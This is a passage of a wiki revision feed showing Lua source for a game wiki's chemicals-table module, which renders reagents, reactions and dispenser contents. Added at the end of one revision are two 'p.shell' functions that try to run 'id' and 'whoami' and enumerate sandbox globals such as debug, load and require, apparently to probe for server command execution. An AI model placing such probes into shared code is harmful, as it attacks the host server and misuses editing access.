			local reactantChemData = p.chem[reactantId]&lt;br /&gt;
			local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
			if reactantValue.catalyst then&lt;br /&gt;
				reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
			end&lt;br /&gt;
			table.insert(reactants, reactantText)&lt;br /&gt;
		end&lt;br /&gt;
		local templateArgs = {}&lt;br /&gt;
		templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		local products = {}&lt;br /&gt;
		local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
			&lt;br /&gt;
			local productChemData = p.chem[productId]&lt;br /&gt;
			local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
			table.insert(products, productText)&lt;br /&gt;
		end&lt;br /&gt;
		-- Эффекты реакции&lt;br /&gt;
		if tablelength(reactPrototype.effects) then&lt;br /&gt;
			for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
				if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
					table.insert(products, effect.description)&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
		templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
		&lt;br /&gt;
		local template = &amp;quot;Строка_реакции&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillChemTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local group = frame.args.group&lt;br /&gt;
	local groups&lt;br /&gt;
	if group ~= nil and group ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		groups = mw.text.split(group, &amp;quot;,&amp;quot;)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	local additional = frame.args.additional&lt;br /&gt;
	if additional ~= nil and additional ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		&lt;br /&gt;
		local additionalChemPrototypeIds = mw.text.split(additional, &amp;quot;,&amp;quot;)&lt;br /&gt;
		for _, chemPrototypeId in pairs(additionalChemPrototypeIds) do&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototypeId, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, chemPrototype in pairs(p.chem) do&lt;br /&gt;
		&lt;br /&gt;
		if group == nil or group == &amp;quot;&amp;quot; or contains(groups, chemPrototype.group) then&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototype.id, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillContentOfDispencer = function(frame)&lt;br /&gt;
	local dispencer = frame.args.dispencer&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	for _, chemId in pairs(dispencersContent()[dispencer]) do&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Кнопка_реагента&amp;quot;, args = {chemId, &amp;quot;y&amp;quot;}}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function dispencersContent()&lt;br /&gt;
	local content = {&lt;br /&gt;
		[&amp;quot;Химикатов&amp;quot;]={&lt;br /&gt;
			&amp;quot;Aluminium&amp;quot;,&amp;quot;Carbon&amp;quot;,&amp;quot;Chlorine&amp;quot;,&amp;quot;Copper&amp;quot;,&amp;quot;Ethanol&amp;quot;,&amp;quot;Fluorine&amp;quot;,&amp;quot;Hydrogen&amp;quot;,&amp;quot;Iodine&amp;quot;,&lt;br /&gt;
			&amp;quot;Iron&amp;quot;,&amp;quot;Lithium&amp;quot;,&amp;quot;Mercury&amp;quot;,&amp;quot;Nitrogen&amp;quot;,&amp;quot;Oxygen&amp;quot;,&amp;quot;Phosphorus&amp;quot;,&amp;quot;Potassium&amp;quot;,&amp;quot;Radium&amp;quot;,&lt;br /&gt;
			&amp;quot;Silicon&amp;quot;,&amp;quot;Sodium&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;Sulfur&amp;quot;,&amp;quot;SulfuricAcid&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Соды&amp;quot;]={&lt;br /&gt;
			&amp;quot;Water&amp;quot;,&amp;quot;Ice&amp;quot;,&amp;quot;Coffee&amp;quot;,&amp;quot;Cream&amp;quot;,&amp;quot;Tea&amp;quot;,&amp;quot;GreenTea&amp;quot;,&amp;quot;IcedTea&amp;quot;,&amp;quot;IcedGreenTea&amp;quot;,&lt;br /&gt;
			&amp;quot;Cola&amp;quot;,&amp;quot;SpaceMountainWind&amp;quot;,&amp;quot;DrGibb&amp;quot;,&amp;quot;SpaceUp&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&lt;br /&gt;
			&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;JuiceWatermelon&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Алкоголя&amp;quot;]={&lt;br /&gt;
			&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;Beer&amp;quot;,&amp;quot;CoffeeLiqueur&amp;quot;,&lt;br /&gt;
			&amp;quot;Whiskey&amp;quot;,&amp;quot;Wine&amp;quot;,&amp;quot;Vodka&amp;quot;,&amp;quot;Gin&amp;quot;,&amp;quot;Rum&amp;quot;,&amp;quot;Tequila&amp;quot;,&amp;quot;Vermouth&amp;quot;,&amp;quot;Cognac&amp;quot;,&lt;br /&gt;
			&amp;quot;Ale&amp;quot;,&amp;quot;Mead&amp;quot;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	return content&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
p.readArg = function(frame)&lt;br /&gt;
	return mw.text.nowiki(p.chem[frame.args[1]][frame.args[2]])&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function contains(list, x)&lt;br /&gt;
	for _, v in ipairs(list) do&lt;br /&gt;
		if v == x then return true end&lt;br /&gt;
	end&lt;br /&gt;
	return false&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
fillChemistryRow = function(chemPrototypeId, frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	local templateArgs = {}&lt;br /&gt;
	templateArgs.id = chemPrototype.id&lt;br /&gt;
	templateArgs.name = chemPrototype.name&lt;br /&gt;
	templateArgs.description = chemPrototype.desc .. &amp;quot; На вид &amp;quot; .. chemPrototype.physicalDesc .. &amp;quot;.&amp;quot;&lt;br /&gt;
	templateArgs.color = chemPrototype.color&lt;br /&gt;
	templateArgs.textColor = chemPrototype.textColor&lt;br /&gt;
	templateArgs.effects = getEffects(chemPrototype.id)&lt;br /&gt;
	templateArgs.recipes_count = tablelength(chemPrototype.recipes)&lt;br /&gt;
	&lt;br /&gt;
	templateArgs.reactants = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.products = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.action = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	if templateArgs.recipes_count == 0 then&lt;br /&gt;
		templateArgs.recipes_count = 1 -- Для заполнения параметра rowspan строки&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Первая_строка_химического_вещества&amp;quot;, args = templateArgs}&lt;br /&gt;
	else&lt;br /&gt;
		local firstReact = true&lt;br /&gt;
		for _, reactId in pairs(chemPrototype.recipes) do&lt;br /&gt;
			&lt;br /&gt;
			local reactPrototype = p.react[reactId]&lt;br /&gt;
			local reactants = {}&lt;br /&gt;
			local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
				&lt;br /&gt;
				local reactantChemData = p.chem[reactantId]&lt;br /&gt;
				local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
				if reactantValue.catalyst then&lt;br /&gt;
					reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
				end&lt;br /&gt;
				table.insert(reactants, reactantText)&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			local products = {}&lt;br /&gt;
			local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
				&lt;br /&gt;
				local productChemData = p.chem[productId]&lt;br /&gt;
				local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
				table.insert(products, productText)&lt;br /&gt;
			end&lt;br /&gt;
			-- Эффекты реакции&lt;br /&gt;
			if tablelength(reactPrototype.effects) then&lt;br /&gt;
				for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
					if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
						table.insert(products, effect.description)&lt;br /&gt;
					end&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
			&lt;br /&gt;
			local template = &amp;quot;Строка_химического_вещества&amp;quot;&lt;br /&gt;
			if firstReact then&lt;br /&gt;
				template = &amp;quot;Первая_строка_химического_вещества&amp;quot;&lt;br /&gt;
				firstReact = false&lt;br /&gt;
			end&lt;br /&gt;
			&lt;br /&gt;
			out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getActions = function(reactPrototype)&lt;br /&gt;
	&lt;br /&gt;
	local actions = {}&lt;br /&gt;
	&lt;br /&gt;
	-- Температура&lt;br /&gt;
	local minMaxTemplate = &amp;quot;выше %sК и ниже %sК&amp;quot;&lt;br /&gt;
	local minTemplate = &amp;quot;выше %sК&amp;quot;&lt;br /&gt;
	local maxTemplate = &amp;quot;ниже %sК&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local hasMin = reactPrototype.minTemp ~= 0&lt;br /&gt;
	local hasMax = reactPrototype.hasMax&lt;br /&gt;
	&lt;br /&gt;
	local tempString = &amp;quot;&amp;quot;&lt;br /&gt;
	if hasMax and hasMin then&lt;br /&gt;
		tempString = string.format(minMaxTemplate, reactPrototype.minTemp, reactPrototype.maxTemp)&lt;br /&gt;
	elseif hasMin then&lt;br /&gt;
		tempString = string.format(minTemplate, reactPrototype.minTemp)&lt;br /&gt;
	elseif hasMax then&lt;br /&gt;
		tempString = string.format(maxTemplate, reactPrototype.maxTemp)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, mixingCategory in pairs(reactPrototype.mixingCategories) do&lt;br /&gt;
		local image = getMixingImage(mixingCategory.id)&lt;br /&gt;
		if image ~= nil then&lt;br /&gt;
			table.insert(actions, string.format(&amp;quot;[[File:%s|32px|link=]]&amp;quot;, image)) -- Картинка&lt;br /&gt;
		end&lt;br /&gt;
		&lt;br /&gt;
		table.insert(actions, mixingCategory.name .. &amp;quot; &amp;quot; .. tempString) -- Название&lt;br /&gt;
		&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return table.concat(actions, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getMixingImage = function(mixingId)&lt;br /&gt;
	&lt;br /&gt;
	local images = {&lt;br /&gt;
		[&amp;quot;DummyMix&amp;quot;] = &amp;quot;Beaker.png&amp;quot;, -- Смешивание&lt;br /&gt;
		[&amp;quot;DummyGrind&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Измельчение&lt;br /&gt;
		[&amp;quot;DummyJuice&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Выжимка&lt;br /&gt;
		[&amp;quot;DummyCondense&amp;quot;] = &amp;quot;Конденсатор газа.png&amp;quot;, &lt;br /&gt;
		[&amp;quot;Centrifuge&amp;quot;] = &amp;quot;Центрифуга.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Electrolysis&amp;quot;] = &amp;quot;Электролизер.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Holy&amp;quot;] = &amp;quot;Библия.png&amp;quot;&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	return images[mixingId]&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function getEffects(chemPrototypeId)&lt;br /&gt;
	&lt;br /&gt;
	local effects = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	if chemPrototype.metabolisms == nil then&lt;br /&gt;
		return effects&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for metabolismGroupKey, metabolismGroup in pairs(chemPrototype.metabolisms) do&lt;br /&gt;
		effects = attachAsNewLine(effects, string.format(&amp;quot;* %s (%s единиц в секунду)&amp;quot;, metabolismGroupKey, metabolismGroup.rate))&lt;br /&gt;
		for _, effect in pairs(metabolismGroup.effects) do&lt;br /&gt;
			if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
				effects = attachAsNewLine(effects, &amp;quot;** &amp;quot;..effect.description)&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
	return effects&lt;br /&gt;
  &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function tablelength(T)&lt;br /&gt;
  local count = 0&lt;br /&gt;
  for _ in pairs(T) do count = count + 1 end&lt;br /&gt;
  return count&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function attachAsNewLine(originalStr, joinStr)&lt;br /&gt;
	return originalStr .. &amp;quot;\n&amp;quot; .. joinStr &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then&lt;br /&gt;
            r = r .. f:read(&amp;quot;*a&amp;quot;)&lt;br /&gt;
            f:close()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug: &amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no debug&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;package: &amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no package&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require: &amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no require&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load: &amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no load&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile: &amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no dofile&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; req:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local keys = &amp;quot;&amp;quot;&lt;br /&gt;
        for k, v in pairs(_G) do&lt;br /&gt;
            keys = keys .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot; G:&amp;quot; .. keys&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28705</id>
		<title>Модуль:TableOfChemicals</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28705"/>
		<updated>2026-06-21T22:56:28Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;p = {}&lt;br /&gt;
p.chem = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/chem_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
p.react = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/react_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
&lt;br /&gt;
p.fillReactTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	for _, reactPrototype in pairs(p.react) do&lt;br /&gt;
		local reactants = {}&lt;br /&gt;
		local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
			&lt;br /&gt;
			local reactantChemData = p.chem[reactantId]&lt;br /&gt;
			local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
			if reactantValue.catalyst then&lt;br /&gt;
				reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
			end&lt;br /&gt;
			table.insert(reactants, reactantText)&lt;br /&gt;
		end&lt;br /&gt;
		local templateArgs = {}&lt;br /&gt;
		templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		local products = {}&lt;br /&gt;
		local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
			&lt;br /&gt;
			local productChemData = p.chem[productId]&lt;br /&gt;
			local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
			table.insert(products, productText)&lt;br /&gt;
		end&lt;br /&gt;
		-- Эффекты реакции&lt;br /&gt;
		if tablelength(reactPrototype.effects) then&lt;br /&gt;
			for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
				if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
					table.insert(products, effect.description)&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
		templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
		&lt;br /&gt;
		local template = &amp;quot;Строка_реакции&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillChemTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local group = frame.args.group&lt;br /&gt;
	local groups&lt;br /&gt;
	if group ~= nil and group ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		groups = mw.text.split(group, &amp;quot;,&amp;quot;)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	local additional = frame.args.additional&lt;br /&gt;
	if additional ~= nil and additional ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		&lt;br /&gt;
		local additionalChemPrototypeIds = mw.text.split(additional, &amp;quot;,&amp;quot;)&lt;br /&gt;
		for _, chemPrototypeId in pairs(additionalChemPrototypeIds) do&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototypeId, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, chemPrototype in pairs(p.chem) do&lt;br /&gt;
		&lt;br /&gt;
		if group == nil or group == &amp;quot;&amp;quot; or contains(groups, chemPrototype.group) then&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototype.id, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillContentOfDispencer = function(frame)&lt;br /&gt;
	local dispencer = frame.args.dispencer&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	for _, chemId in pairs(dispencersContent()[dispencer]) do&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Кнопка_реагента&amp;quot;, args = {chemId, &amp;quot;y&amp;quot;}}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function dispencersContent()&lt;br /&gt;
	local content = {&lt;br /&gt;
		[&amp;quot;Химикатов&amp;quot;]={&lt;br /&gt;
			&amp;quot;Aluminium&amp;quot;,&amp;quot;Carbon&amp;quot;,&amp;quot;Chlorine&amp;quot;,&amp;quot;Copper&amp;quot;,&amp;quot;Ethanol&amp;quot;,&amp;quot;Fluorine&amp;quot;,&amp;quot;Hydrogen&amp;quot;,&amp;quot;Iodine&amp;quot;,&lt;br /&gt;
			&amp;quot;Iron&amp;quot;,&amp;quot;Lithium&amp;quot;,&amp;quot;Mercury&amp;quot;,&amp;quot;Nitrogen&amp;quot;,&amp;quot;Oxygen&amp;quot;,&amp;quot;Phosphorus&amp;quot;,&amp;quot;Potassium&amp;quot;,&amp;quot;Radium&amp;quot;,&lt;br /&gt;
			&amp;quot;Silicon&amp;quot;,&amp;quot;Sodium&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;Sulfur&amp;quot;,&amp;quot;SulfuricAcid&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Соды&amp;quot;]={&lt;br /&gt;
			&amp;quot;Water&amp;quot;,&amp;quot;Ice&amp;quot;,&amp;quot;Coffee&amp;quot;,&amp;quot;Cream&amp;quot;,&amp;quot;Tea&amp;quot;,&amp;quot;GreenTea&amp;quot;,&amp;quot;IcedTea&amp;quot;,&amp;quot;IcedGreenTea&amp;quot;,&lt;br /&gt;
			&amp;quot;Cola&amp;quot;,&amp;quot;SpaceMountainWind&amp;quot;,&amp;quot;DrGibb&amp;quot;,&amp;quot;SpaceUp&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&lt;br /&gt;
			&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;JuiceWatermelon&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Алкоголя&amp;quot;]={&lt;br /&gt;
			&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;Beer&amp;quot;,&amp;quot;CoffeeLiqueur&amp;quot;,&lt;br /&gt;
			&amp;quot;Whiskey&amp;quot;,&amp;quot;Wine&amp;quot;,&amp;quot;Vodka&amp;quot;,&amp;quot;Gin&amp;quot;,&amp;quot;Rum&amp;quot;,&amp;quot;Tequila&amp;quot;,&amp;quot;Vermouth&amp;quot;,&amp;quot;Cognac&amp;quot;,&lt;br /&gt;
			&amp;quot;Ale&amp;quot;,&amp;quot;Mead&amp;quot;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	return content&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
p.readArg = function(frame)&lt;br /&gt;
	return mw.text.nowiki(p.chem[frame.args[1]][frame.args[2]])&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function contains(list, x)&lt;br /&gt;
	for _, v in ipairs(list) do&lt;br /&gt;
		if v == x then return true end&lt;br /&gt;
	end&lt;br /&gt;
	return false&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
fillChemistryRow = function(chemPrototypeId, frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	local templateArgs = {}&lt;br /&gt;
	templateArgs.id = chemPrototype.id&lt;br /&gt;
	templateArgs.name = chemPrototype.name&lt;br /&gt;
	templateArgs.description = chemPrototype.desc .. &amp;quot; На вид &amp;quot; .. chemPrototype.physicalDesc .. &amp;quot;.&amp;quot;&lt;br /&gt;
	templateArgs.color = chemPrototype.color&lt;br /&gt;
	templateArgs.textColor = chemPrototype.textColor&lt;br /&gt;
	templateArgs.effects = getEffects(chemPrototype.id)&lt;br /&gt;
	templateArgs.recipes_count = tablelength(chemPrototype.recipes)&lt;br /&gt;
	&lt;br /&gt;
	templateArgs.reactants = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.products = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.action = &amp;quot;&amp;quot;&lt;br /&gt;
